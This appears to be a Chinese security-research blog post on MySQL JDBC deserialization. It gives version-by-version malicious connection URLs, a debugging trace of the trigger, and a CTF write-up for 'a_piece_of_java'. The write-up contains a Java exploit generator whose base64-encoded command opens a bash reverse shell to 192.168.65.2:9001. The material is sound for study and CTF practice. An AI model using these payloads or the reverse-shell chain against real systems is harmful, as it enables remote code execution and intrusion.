MySQL JDBC反序列化学习

date
Nov 4, 2021
slug
mysql-jdbc-deserialize-learn
status
Published
tags
Java安全
安全研究
summary
继续学Java~~~
type
Post
 

如何利用

这个需要利用起来还是比较鸡肋需要jdbc的url里面的部分参数可控才可行,关键是autoDeserialize 以及queryInterceptors/detectCustomCollations 可以注入到url参数中,然后传输恶意的二进制内容
这个漏洞本质上就是个反序列化
每个版本的连接payload是不一样的
public class test1 {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
        //String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}
可以利用这个工具:
归纳了一些payload:

ServerStatusDiffInterceptor触发

  • 8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 5.1.10及以下的5.1.X版本: 同上,但是需要连接后执行查询。
  • 5.0.x: 还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations触发:

  • 5.1.41及以上: 不可用
  • 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.18以下的5.1.x版本: 不可用
  • 5.0.x版本不可用
notion image

调试

以6.0.x版本的进行调试
最终触发点:mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/ResultSetImpl.class:1273
首先会通过getConnection进入到mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/interceptors/ServerStatusDiffInterceptor.class:48
notion image
这里ServerStatusDiffInterceptor的preProcess方法(执行SQL Query前需要执行的方法),调用了populateMapWithSessionStatusValues
执行了SHOW SESSION STAUS语句并获取结果,继续跟入resultSetToMap方法,java.sql.ResultSet#getObject(int)
notion image
此时rs变量就是com.mysql.cj.jdbc.ResultSetImpl的对象了,进一步就到getObject函数,这里面就是反序列化的触发点,前提是需要绕过几个条件,也就是jdbc的URL里面设置的那些内容
notion image
 

整个题目

快速学会一下怎么使用工具了算是
例题:a_piece_of_java
很明显hello路由下存在一个反序列化
notion image
解base64编码,然后存在一个SerialKiller 对反序列化进行了限制,是个白名单,看来只允许原生类
notion image
notion image
依赖里面存在一个mysql,如果想要触发反序列化的话就得从这个点入手了,但是跟数据库相关的是JDBC反序列化,这么能够联动起来呢?好像又没有啥好方法
notion image
但是这个题目给了一个动态代理类,里面实现了invoke方法,可以看到这个方法hook了getAllInfo方法,还会触发checkAllInfo()方法
notion image
再去瞅一下this.info ,是Info的数据类型,然后看了一下实现这个类的子类有哪些,发现gdufs.challenge.web.model.DatabaseInfo 类里面的checkAllInfo 会执行connect函数,在connect函数里面就可以对数据库的url进行控制达到jdbc反序列化的效果,此时就绕过SerialKiller 的限制,走的另外的路子触发反序列化了
notion image
那么现在看来就不是去触发原生反序列化了,而是找到触发getAllInfo 的方法,那么就是这个点了
notion image
那么整个思路就很明显了,所以最后应该封装的是动态代理Proxy对象,里面的handler是InfoInvocationHandler ,又由于lib文件夹里面有CC组件,可以使用CC链进行利用,以后还是看lib文件夹吧,单看pom不太可靠
反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class TSOChain {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        DatabaseInfo databaseInfo = new DatabaseInfo();
        setFieldValue(databaseInfo, "host", "192.168.65.2");
        setFieldValue(databaseInfo, "port", "3306");

        //payload从username里面设置
        setFieldValue(databaseInfo, "username", "yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i}");
        setFieldValue(databaseInfo, "password", "xss&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        //反射初始化代理类
        Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Info.class);
        construct.setAccessible(true);


        //InfoInvocationHandler好像得用代理类Proxy封装
        InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
        Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);


        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(proxinfo);

        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));


    }





}
这个就用到了 这个工具了,这次我是真的学会了这个工具是怎么个用法了,TMD之前一直以为每弄一次就得在这个工具里面的config.json设置一次,原来这东西是个相当于快捷设置而已,关键的地方在于设置可控的username那个点,针对这个题目(默认没设置config)我们设置成yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i} ,就相当于调用yso了,如果我们在config里面设置了,就直接把username设置成CommonsCollections5 就可以了
还是再看仔细点文档🐶
notion image
 
 
启动,然后反弹shell成功
notion image
这个工具有坑,防止+变成空格,得把一些+URL编码成%2b不然传输过来的是空格,估计参数发的是GET请求

© 4me 2021 - 2024